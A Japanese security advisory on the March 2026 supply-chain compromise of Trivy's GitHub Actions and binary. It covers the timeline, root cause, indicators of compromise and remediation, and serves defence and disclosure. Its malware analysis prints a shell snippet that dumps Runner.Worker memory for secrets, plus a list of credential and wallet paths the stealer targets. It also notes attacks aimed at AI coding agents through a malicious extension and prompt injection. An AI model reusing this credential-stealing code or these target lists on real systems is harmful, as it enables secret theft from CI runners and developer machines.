In this article
Trivy GitHub Actionsのサプライチェーン侵害
要点
内容:攻撃者は
aquasecurity/trivy-actionの76個中75個のバージョンタグに悪意あるコードを強制プッシュし、setup-trivyとTrivy v0.69.4バイナリも侵害侵害期間:約12時間(3月19日 17:43 UTC~3月20日 約05:40 UTC)
影響:RunnerプロセスのメモリダンプによりCI/CDのシークレットが窃取され、セルフホスト型RunnerからSSHキー、クラウド認証情報、暗号資産ウォレットが収集された
攻撃者の特定:TeamPCP(DeadCatx3/PCPcat/ShellForce)。クラウドネイティブインフラを標的とする脅威グループ
根本原因:3月1日の先行侵害時に認証情報が窃取されたこと。先行侵害も
pull_request_targetワークフローの悪用に端を発していた安全なバージョン:trivy
v0.69.3、trivy-actionv0.35.0、setup-trivyv0.2.6CVE:未割り当て(コミュニティが採番を要請)
必要な対応:コミットSHAで固定する。期間中に影響を受けるバージョンを実行していた場合は、パイプラインのシークレットをすべてローテーションする
2026年3月19日、攻撃者はコンテナセキュリティ分野で最も広く使われているオープンソース脆弱性スキャナーの1つ、Trivyの公式GitHub Actionであるaquasecurity/trivy-actionの76個中75個のバージョンタグに、悪意あるコードを強制プッシュしました。悪意あるペイロードは正規のTrivyスキャンの前にCI/CDのシークレットを密かに窃取したため、影響を受けたパイプラインは正常に動作しているように見えました。
これは3週間足らずで発生したTrivyインフラへの2度目の侵害であり、攻撃者は最初のインシデントで窃取した認証情報を利用しました。CI/CDパイプラインでGitHub Actions経由のTrivyを使用している場合、影響を受けている可能性があります。何が起きたのか、確認方法、必要な対応を解説します。
何が起きたのか
3月19日の攻撃では、Aqua Securityの3つのリポジトリが同時に標的となりました。
aquasecurity/trivy-action:76個中75個のバージョンタグが書き換えられ、認証情報を窃取するコードを含む悪意あるコミットを参照するようになったaquasecurity/setup-trivy:過去のバージョンタグ7個が削除され、悪意あるコードとともに再作成された。v0.2.6のみが安全な状態で残ったTrivyバイナリ v0.69.4:悪意あるリリースが公式リポジトリに公開され、Docker Hub(
aquasec/trivy:0.69.4)、GitHub Container Registry、AWS ECRに拡散
攻撃者は既存のバージョンタグを書き換え、改変されたentrypoint.shを含む新しいコミットを参照させました。CI/CDパイプラインがタグ指定でtrivy-actionを取得すると(例:@v0.34.2、@v0.33.0、その他多数の旧バージョン)、正規のTrivyスキャンより先に悪意あるエントリーポイントが実行され、認証情報が密かに収集されました。
影響を受けなかったのはv0.35.0のみです。このバージョンは、悪意あるバージョンのベースとなったmaster HEADコミットをすでに参照していたため、攻撃者の自動化処理ではスキップされました。
3月19日の事象のタイムライン(UTC)[^1]
時刻 | 事象 |
|---|---|
17:43 | 攻撃者が |
17:51 | サービスアカウント |
約18:05 | Homebrewの自動化処理がv0.69.4を取り込み、更新PRを作成 |
18:26 | 汚染されたバイナリがGitHub Releases、Docker Hub、GHCR、AWS ECRに公開 |
18:30 | 攻撃者がtrivy-actionで「Trivyのデフォルトバージョンを更新する」PR #538を作成。同時にタグの強制プッシュが行われる |
約19:15 | Socket.devの検知システムが脅威フィードの項目を生成し始める |
22:06~22:08 |
|
21:07 | コミュニティが対応を開始。Trivyのメンテナーが汚染されたsetup-trivyのタグを削除し始める |
21:43 | 安全な |
23:05 | Homebrewの緊急ダウングレードPRを提出 |
23:13 | 悪意あるv0.69.4タグを削除 |
00:01~00:08(3月20日) | ボットアカウント47件がインシデントの議論にスパムコメントを投稿。うち2件は「TeamPCP」の名前に言及 |
約05:40(3月20日) | trivy-actionの全タグが安全なコミットに復元され、侵害期間が終了 |
攻撃の連鎖はどのように始まったか
これは数週間前に始まった、多段階攻撃の最終段階でした。
ステージ1:pull_request_targetの悪用(2月下旬)
GitHubハンドルhackerbot-clawを使う脅威アクター(2026年2月20日作成のアカウント)が、設定不備のあるGitHub Actionsワークフローを探して公開リポジトリを自動スキャンするキャンペーンを実施しました。特に、過剰なトークン権限を持つpull_request_targetイベントトリガーを使用したワークフローが標的でした。標的にはMicrosoft、DataDog、CNCF、Aqua Securityが含まれていました。
pull_request_targetイベントは、GitHub Actionsにおける既知のリスクです。pull_requestとは異なり、フォークではなくベースリポジトリのコンテキストで実行されます。そのため、pull_request_targetで起動するワークフローは、ベースリポジトリのシークレットにアクセスできます。さらに、このようなワークフローでプルリクエスト(フォーク)からコードをチェックアウトすると、攻撃者が悪意あるコードを含むPRを送信し、そのコードをシークレットにアクセスできる状態で実行させる可能性があります。
2024年12月に発生したUltralytics AIサプライチェーン攻撃の分析で、まさにこの攻撃パターンを取り上げました。ブランチ名を介したテンプレートインジェクションにより、攻撃者は特権ワークフローのコンテキストで任意のコードを実行できました。
Trivyリポジトリには脆弱なpull_request_targetワークフローがあり、2025年10月から存在していました。Boost Securityのpoutineツールは、悪用の3か月以上前となる2025年11月29日にこの問題を検出していました。2月28日、hackerbot-clawはこのワークフローを悪用し、aqua-botサービスアカウントに属する組織スコープのPersonal Access Token(ORG_REPO_TOKEN)を窃取しました。このPATは、Aqua SecurityのGitHub組織内にある少なくとも33のワークフローで使われていました。
ステージ2:最初の侵害(3月1日)
窃取したPATを使い、攻撃者は次の行為を行いました。
Trivyリポジトリを一時的に非公開化
v0.27.0からv0.69.1までの間に削除されたGitHubリリース
ローカルのAIコーディングエージェントの悪用を試みる、悪意あるTrivy VS Code拡張機能をOpenVSX経由で公開
CI環境から追加の認証情報を窃取
Aqua SecurityはGitHubディスカッション #10265でインシデントを公表し、シークレットとトークンのローテーションを開始しました。Trivyチームが後に述べたように、「プロセスはアトミックではなく、攻撃者が更新後のトークンを入手していた可能性がある」とのことです。
ステージ3:2度目の侵害(3月19日)
20日後、攻撃者はさらに複雑なペイロードを携えて再び現れました。クラウドネイティブインフラを標的とし、暗号資産の窃取に重点を置く脅威グループ、TeamPCPによるものと特定された多段階の認証情報窃取ツールです(DeadCatx3、PCPcat、ShellForceとしても追跡)。
さらに、インシデント対応を妨害する手段として、攻撃者は侵害したaqua-botアカウントを使って元のインシデントディスカッション(#10265)を削除し、コミュニティが対応を調整しにくくしました。
悪意あるペイロードの内部
注入されたentrypoint.shは、正規のTrivyスキャンのエントリーポイントを置き換え、3段階の攻撃を実行しました。ペイロードに埋め込まれた、自らを「TeamPCP Cloud stealer」と称するマルウェアは、環境ごとに異なる手法で標的を攻撃しました。
GitHubホスト型Runnerの場合
マルウェアは(GitHubホスト型Runnerでは標準の)パスワードなしのsudoアクセスを使って、次の操作を行いました。
Runner.Workerプロセスのメモリをダンプ:
/proc/<pid>/memを読み取り、.NETランタイムのヒープに保存されたGitHub Actionsのシークレットを抽出シークレットを解析:メモリから、特に
{"value":"<secret>","isSecret":true}のパターンに一致するJSONオブジェクトを標的にするスキャン
/proc/*/environして、実行中のすべてのプロセスから環境変数を収集する
これは、2025年3月に発生したtj-actions/changed-filesの侵害で報告されたのと同じメモリダンプ手法です。GitHub Actionsワークフローに渡されたシークレットは実行時に復号され、Runnerプロセスのメモリに保持されます。そのため、同じRunner環境で実行されるあらゆるコードから読み取り可能になります。
窃取スクリプトの全容はtrivy-actionのIssueスレッドで共有され、独自に分析も行われました。主なメモリ抽出ロジックは次のとおりです。
# Locate Runner.Worker process
runner_pid=$(ps aux | grep 'Runner.Worker' | grep -v grep | awk '{print $2}' | head -1)
# Dump process memory and extract secrets
grep -ao '{"value":"[^"]*","isSecret":true}' /proc/$runner_pid/memセルフホスト型Runnerの場合
セルフホスト型Runnerに対して、マルウェアは50以上の機密性の高いパスを対象に、ファイルシステムを包括的にスキャンしました。標的には次のものが含まれます。
SSHキーとGit認証情報
クラウドプロバイダーの認証情報:AWS、GCP、Azureの設定
Kubernetesトークンとkubeconfigファイル
Docker認証情報とレジストリ認証情報
データベース接続文字列
Terraformのstateファイル(平文のシークレットが含まれることが多い)
暗号資産ウォレット:Bitcoin、Ethereum、Solana、Cardanoのキーペア
環境設定ファイル:
.envおよびその派生ファイルTLS証明書と秘密鍵
シェルの履歴ファイル
VPN設定
開発者のマシンの場合
マルウェアが検出された環境がGitHub Actions内(つまりGITHUB_ACTIONS != "true")でなかった場合、永続化の仕組みをインストールしました。~/.config/systemd/user/sysmon.pyにPython製ドロッパーを書き込み、対応するsystemdユーザーユニットを配置します。このドロッパーは、攻撃者が管理するICP(Internet Computer Protocol)エンドポイントをポーリングして追加のペイロードを取得しました。
情報の持ち出し
収集データはPBKDF2による鍵導出を用いてAES-256-CBCで暗号化され、RSA-4096 OAEPパディングでラップされた後、tpcp.tar.gzにまとめられました。さらにHTTPS POST経由で、typosquatドメインscan[.]aquasecurtiy[.]orgに送信されました(「security」のiとtが入れ替わっています)。C2サーバーはIP 45.148.10.212上にあり、アムステルダムのTECHOFF SRV LIMITEDに登録されていました。
主要な持ち出し経路が使えない場合、マルウェアには2つの代替手段が用意されていました。
Cloudflare Tunnel:
plug-tab-protective-relay.trycloudflare.com経由で情報を持ち出すGitHubをデッドドロップとして利用:被害者自身の
INPUT_GITHUB_PATトークンを使い、被害者のGitHubアカウントにtpcp-docsという名前の公開リポジトリを作成。窃取したデータを暗号化してリリースアセットとしてアップロードし、攻撃者がGitHub検索でこれらのリポジトリを見つけられるようにする
認証情報窃取の全容
setup-trivyから復元されたPython製窃取スクリプト(記録されたワークフロー実行から回収)からは、認証情報窃取の範囲が明らかになっています。マルウェアは50以上のファイルシステムパスを標的にしており、次のものが含まれていました。
# SSH keys and configs
'/.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/authorized_keys'
# Cloud credentials
'/.aws/credentials', '/.aws/config'
'/.config/gcloud/application_default_credentials.json'
'/.azure/*'
'/.kube/config'
# CI/CD and infrastructure secrets
'/.docker/config.json', '/.npmrc', '/.vault-token', '/.netrc'
'terraform.tfvars', 'terraform.tfstate'
# Cryptocurrency wallets (50+ paths)
'/.bitcoin/wallet.dat', '/.ethereum/keystore/*'
'/.config/solana/*', '/.cardano/*.skey'
'/validator-keypair.json', '/vote-account-keypair.json'このスクリプトは、IAM認証情報を取得するためにクラウドメタデータサービス(169.254.169.254、169.254.170.2)へのアクセスも試みました。また、kubectl get secrets --all-namespacesを実行し、APIキー、Webhook URL、データベース接続文字列を再帰的に検索しました。
偽装されたtrivyバイナリ(v0.69.4)
Actionのユーザーから窃取された情報に加え、侵害されたリリースワークフローによって、Docker Hub認証情報、AWS ECRアクセスキー、GPG署名キー(RPMパッケージの署名に使用)、33以上のワークフローで使われていた組織スコープのGitHub PATなど、Aqua Security自身の重要なシークレットも漏えいしました。
侵害されたTrivyバイナリは、別の手法を使いました。リリースワークフローを書き換え、actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0を参照させました。これは正当なSHA固定に見えますが、実際には正規のactions/checkoutリポジトリではなく、フォークのコミットを参照していました。これは、GitHubプラットフォームの微妙な挙動を悪用しています。uses: owner/repo@<hash>という指定では、そのハッシュが指定されたリポジトリに属するかどうかは検証されません。Gitのフォーク間でオブジェクトが共有されるため、任意のフォークのコミットをSHAで取得できます。ビルドではC2からバックドアを仕込んだGoソースファイルを取得し、GoReleaserに--skip=validateを追加してビルド検証を回避し、注入コードのリンター警告を抑制するために.golangci.yamlを上書きしました。その結果生成されたバイナリは、正規のTrivyスキャナーと認証情報窃取ツールを並行して実行するため、スキャン結果は正常に見えました。
検出の手がかり
悪意あるコミットには、後から振り返ると偽造を見抜ける、いくつかの明白な兆候がありました。
署名のないコミット:元のTrivyリリースには、GitHubのWeb UIを通じてGPG署名が付与されていましたが、置き換えられたコミットには署名がありませんでした。
あり得ないタイムスタンプ:偽造されたコミットは元のリリース日をタイムスタンプとして複製していましたが、親コミットの日付は2026年3月で、親コミットと日付の関係に矛盾が生じていました。
「このリリース以降、masterへのコミットは0件」:GitHubのリリースUIでは、masterよりかなり前のバージョンであるはずのタグに、このカウンターが表示されていました。各タグが、親コミットを現在のmasterのHEADとするコミットを指していたことを示しています。
単一ファイルの変更:悪意ある各コミットで変更されていたのは
entrypoint.shだけでした。なりすましの対象となった元のコミットでは、複数のファイルが変更されていました。
StepSecurityのHarden-Runnerは、コミュニティプランを利用する12,000以上のパブリックリポジトリで外部へのC2接続を検出し、影響を受けたプロジェクトに直接通知することができました。
侵害の痕跡 [^2]
種類 | 値 | メモ |
|---|---|---|
ドメイン(C2) |
| タイポスクワット: |
IPアドレス |
| TECHOFF SRV LIMITED、アムステルダム |
Cloudflare Tunnel |
| 代替データ窃取経路 |
ICPエンドポイント |
| 永続化ドロッパーのC2 |
コミット(trivy-action) |
| 悪意ある |
コミット(setup-trivy) |
| 悪意ある |
GitHubリポジトリ(データ窃取) |
| 被害者のGitHubアカウント内に作成 |
Trivyバイナリ(Linux 64-bit) |
| SHA-256、v0.69.4 |
影響を受けていますか?
次のいずれかに該当する場合、影響を受けている可能性があります。
ワークフローで
aquasecurity/trivy-actionをタグで指定している(例:@v0.34.2、@v0.18.0、または@v0.35.0以外のバージョンタグ)ワークフローで使用している
aquasecurity/setup-trivyのバージョンが@v0.2.6以外である2026年3月19〜20日にTrivy v0.69.4をダウンロードした(直接ダウンロード、Docker(
aquasec/trivy:0.69.4)、またはGHCR経由)上記のいずれかが、2026年3月19日17:43 UTCから3月20日\~05:40 UTCまでの影響期間中に実行された
確認された影響期間は約12時間でした。trivy-actionがこの期間外に実行されていた場合、タグの侵害による影響はありません(ただし、今後はSHAで固定してください)。
注記:@master 参照について:aquasecurity/trivy-action@masterに固定したワークフローは安全かと尋ねられた際、TrivyメンテナーのDmitriyLewenは次のように回答しました。「攻撃者が孤立コミットをどのように作成したのか、情報がありません。そのため、aquasecurity/trivy-action@masterが100%安全だったとは言えません」
Homebrewについて:Homebrewは当初v0.69.4を取り込みましたが、ソースのtarballからビルドするため、コンパイル済みバイナリにバックドアは仕込まれていませんでした。それでも、緊急のダウングレードPRが提出されました(Homebrew/homebrew-core#273304)。
確認方法
ワークフローファイルを確認し、trivy-actionの参照を探します。
# Search your repos for trivy-action usage
grep -r "aquasecurity/trivy-action" .github/workflows/
grep -r "aquasecurity/setup-trivy" .github/workflows/GitHub Actionsの実行ログで、影響期間中の実行を確認します。2026年3月19日17:43 UTC以降にtrivy-actionを使用した実行を探してください。
代替データ窃取経路を確認します。
# Search your GitHub org for the attacker's dead-drop repos
gh repo list YOUR-ORG --json name -q '.[].name' | grep tpcp-docsネットワークログを確認し、C2ドメイン(scan[.]aquasecurtiy[.]org)またはIPアドレス(45.148.10.212)への接続を探してください。
直ちに行うべき修復手順
1. trivy-actionのタグ指定をやめる
すべてのワークフロー参照を直ちに削除または更新してください。安全な選択肢は次のとおりです。
# Option A: Pin to a known-safe commit SHA
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
# Option B: Use the only uncompromised tag (verify SHA first)
- uses: aquasecurity/trivy-action@v0.35.0setup-trivyで安全なバージョンはv0.2.6のみです。
2. すべての認証情報をローテーションする
影響を受けたアクションがパイプライン内で実行された場合、そのワークフローからアクセスできるすべてのシークレットが侵害されたものとして扱ってください。対象には次のものが含まれます。
GitHubトークン(
GITHUB_TOKENおよびすべてのPAT)クラウドプロバイダーの認証情報(AWSアクセスキー、GCPサービスアカウントキー、Azure認証情報)
コンテナレジストリのトークン(Docker Hub、GHCR、ECRなど)
SSHキー
データベースのパスワード
APIキーとWebhookシークレット
3. 攻撃者による永続化を調査する
セルフホストランナーと開発者のマシンで、永続化の仕組みがないか確認します。
# Check for the TeamPCP dropper
ls -la ~/.config/systemd/user/sysmon.py
systemctl --user list-units | grep sysmon4. 代替データ窃取経路を確認する
GitHub組織内でtpcp-docsという名前のリポジトリを検索してください。見つかった場合、攻撃者はパイプラインからデータを窃取できています。
5. 侵害スキャナーを実行する
StepSecurityは専用ツールtrivy-compromise-scannerを公開しました。リポジトリまたは組織全体を対象に、GitHub Actionsのワークフロー実行ログを監査し、攻撃期間中に侵害されたアクション参照を使った実行がないか確認できます。
Aqua Securityがその後に行った対応
インシデントを受けて、Trivyメンテナーは次の対応を行いました。
すべてのtrivy-actionタグを元の安全なコミットに戻し、新たな
v接頭辞付きの命名規則を導入しました(例:0.34.0はv0.34.0に変更)trivy、trivy-action、setup-trivyの各リポジトリでイミュータブルリリースを有効化し、今後のタグの強制プッシュを防止しました
Docker Hub、GHCR、AWS ECR、GitHub Releasesからすべての悪意あるアーティファクトを削除しました
組織全体で自動化アクションとトークンを制限しました
メンテナーのDmitriyLewenは、課題のスレッドで次のように述べています。「インシデントの有無にかかわらず、コミットハッシュを使う方が常に安全です」
最初のインシデントで発生したVS Code拡張機能の侵害にはCVE-2026-28353(CVSS 10.0)が割り当てられましたが、2026年3月19日のタグ乗っ取り攻撃そのものには、コミュニティから正式な情報開示を求める声があったにもかかわらず、CVEは割り当てられていません。これとは別に、複合アクションのスクリプトインジェクションに影響する、より前の脆弱性(CVE-2026-26189 / GHSA-9p44-j4g5-cfx5、CVSS 5.9)は、サプライチェーン攻撃より前にv0.34.0で修正されていました。
StepSecurityのHarden-Runnerは、影響を受けたオープンソースプロジェクトにセキュリティアラートの課題をすでに提出しています。対象には、Fluent Bit(CNCF)、k8gb(Kubernetes DNS)、HL7 FHIR IG Publisher(医療標準)、CanonicalのCharmed Kubeflowなどがあります。
GitHub Actionsのセキュリティ対策から得られる教訓
今回のインシデントは、tj-actions/changed-filesの侵害やClineのCI/CDパイプラインを狙ったClinejection攻撃とあわせて、CI/CDを利用する組織にとってGitHub Actionsのサプライチェーン攻撃が繰り返し起こるリスクであることを示しています。パイプラインのセキュリティ態勢を最近監査していないなら、今こそ取り組むときです。
アクションはタグではなくコミットSHAで固定する
タグは変更可能です。書き込み権限を持つユーザーなら誰でも、タグを強制プッシュしてまったく別のコミットを指すようにできます。コミットSHAは変更できません。
# Vulnerable: tag can be rewritten at any time
- uses: aquasecurity/trivy-action@v0.34.2
# Secure: commit SHA is immutable
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1これは、この種の攻撃を防ぐうえで最も重要な対策です。GitHubのセキュリティ強化ガイドも、完全な長さのコミットSHAで固定することを推奨しています。
zizmor(GitHub Actionsワークフローの静的解析)、pinact(SHA固定の自動化)、StepSecurityのsecure-repo、RenovateのpinGitHubActionDigestsオプションなどのツールを使えば、組織全体でこの作業を自動化できます。
pull_request_targetワークフローを監査する
この一連の攻撃の根本原因は、設定ミスのあるpull_request_targetワークフローでした。このイベントトリガーを使用しているリポジトリがある場合は、慎重に監査してください。
PRからコードをチェックアウトしていますか?その場合、脆弱である可能性が高いです。
書き込み権限やシークレットへのアクセス権がありますか?最小限に抑えてください。
代わりに
pull_requestを使えますか?ほとんどの場合、可能です。
Ultralyticsのインシデントでも、同じ脆弱性のパターンが明らかになりました。Clinejection攻撃も同様です。GitHubの課題タイトルに含まれたプロンプトインジェクションにより、攻撃者は権限の強いワークフロー内でコードを実行できました。
組織全体のPATではなく、リポジトリ単位のトークンを使う
盗まれたORG_REPO_TOKENにより、攻撃者はAqua Security組織内の33以上のワークフローにアクセスできました。リポジトリ単位のトークンを使えば、認証情報が侵害された場合の影響範囲を限定できます。リリースの自動化には、きめ細かく権限を設定した個人アクセストークンか、特定のリポジトリに限定したGitHub Appのインストールトークンがより安全です。
CI/CDからの外向きネットワーク接続を監視する
tj-actionsとTrivyのどちらの侵害も、当初はCIランナーからの異常な外向きネットワーク通信によって検出されました。特に、タグの強制プッシュはGitHub Archiveのイベントデータから確認できないため、イベントベースの監視では見逃される可能性があります。現時点で最も信頼性の高い検知レイヤーは、実行時のネットワーク監視です。StepSecurity Harden-Runnerなどのツールを使えば、GitHub Actionsワークフローからのネットワークアクセスを監視・制限でき、poutineを使えばGitHub組織全体のCI/CDサプライチェーンリスクをスキャンできます。
リリースコミットへのGPG署名を必須にする
この攻撃で使われた悪意あるコミットには署名がなく、正規のリリースにはGPG署名が付いていました。リリースタグの署名を検証することで、この種の攻撃を検知されずに実行することが難しくなります。
認証情報を完全にローテーションする
Aqua Securityが認めたとおり、3月19日の攻撃では3月1日のインシデント後のローテーションを生き延びた認証情報が悪用されました。これは、CircleCIのシークレットローテーションのインシデントから得られた教訓にも通じます。認証情報が侵害された場合は、次の点に留意してください。
すべての認証情報を一斉に(可能な限り一斉に)ローテーションする
侵害された環境からアクセス可能なすべての認証情報が窃取されたと想定する
新しい認証情報が使えることだけでなく、古い認証情報が無効になっていることを確認して、ローテーションを検証する
全体像
tj-actions/changed-filesの侵害からほぼちょうど1年後に、同じ種類の攻撃が再び発生しました。構造上の共通点を確認してみましょう。
tj-actions(2025年3月) | Trivy(2026年3月) | |
|---|---|---|
手法 | タグを悪意あるコミットに書き換え | タグを強制プッシュして悪意あるコミットに変更 |
根本原因 | reviewdogの連鎖を通じたトークンの侵害 |
|
ペイロード | シークレットを平文でビルドログに出力 | シークレットを暗号化し、C2に流出 |
影響範囲 | \~23,000のリポジトリ | \~10,000以上のワークフローファイルがtrivy-actionを参照 |
CVE | CVE-2025-30066 | 未割り当て |
Trivyのインシデントは、既知のサプライチェーン攻撃の手口が実際にどのように組み合わされるかを示しています。個々の脆弱性に目新しいものはありませんでした。
pull_request_targetの設定ミスは、何年も前から指摘されていますGitHub Actionsにおけるタグの変更可能性は、既知の設計上の制約です
Runner.Workerプロセスのメモリダンプは、tj-actionsの侵害で初めて確認されました
タイポスクワットされたC2ドメインは、一般的なデータ流出手法です
この攻撃を効果的にしたのは、こうした手法を組み合わせた連携による、持続的な多段階キャンペーンでした。最初のpull_request_targetの悪用で認証情報を窃取し、それを利用した2つ目の攻撃が、下流の何千ものパイプラインにまで及びました。
セキュリティチームが得るべき教訓は明確です。CI/CDパイプラインも攻撃対象領域の一部です。パイプラインで実行されるツールは、セキュリティスキャナーも含め、アプリケーションの依存関係と同じように厳しく精査すべき依存関係です。CI/CDパイプラインのセキュリティ対策には、アプリケーションコードと同等の厳格さが求められます。
アクションはコミットSHAで固定する。トークンの権限は必要最小限にする。シークレットを完全にローテーションする。ランナーのネットワーク通信を監視する。インシデントが発生したら、安全を確認できるまで、アクセス可能なすべての認証情報が侵害されたものとして扱ってください。
この記事は現在も更新中です。最新情報は Aqua Securityの公式発表(ディスカッション #10425)をご覧ください。

GitHub Actionsの環境変数とシークレットの使い方 — サプライチェーン攻撃のリスクを減らすために、GitHub Actionsのワークフローでシークレットを適切に扱う方法を解説します。